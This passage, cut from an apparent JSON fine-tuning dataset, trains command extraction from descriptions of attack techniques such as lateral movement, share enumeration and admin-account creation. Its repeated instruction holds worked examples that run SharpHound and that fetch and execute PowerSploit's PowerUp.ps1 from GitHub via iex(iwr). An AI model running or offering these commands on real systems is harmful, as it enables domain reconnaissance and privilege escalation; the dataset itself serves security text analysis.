    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Identify network configuration information.\nUpon successful execution, sh will spawn multiple commands and output will be via stdout.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Modifies the last access timestamp of a specified file. This technique was seen in use by the Stitch RAT.\nTo verify execution, use File Explorer to view the Properties of the file and observe that the Accessed time is the year 1970.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Copy from sensitive File from the c$ of another LAN computer with powershell\nhttps://twitter.com/SBousseaden/status/1211636381086339073",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Powershell lateral movement using the mmc20 application com object.\n\nReference:\n\nhttps://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/\n\nUpon successful execution, cmd will spawn calc.exe on a remote computer.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    After execution the new account will be active and added to the Administrators group",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Enumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Adversaries may attempt to get a listing of non-security related software that is installed on the system. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    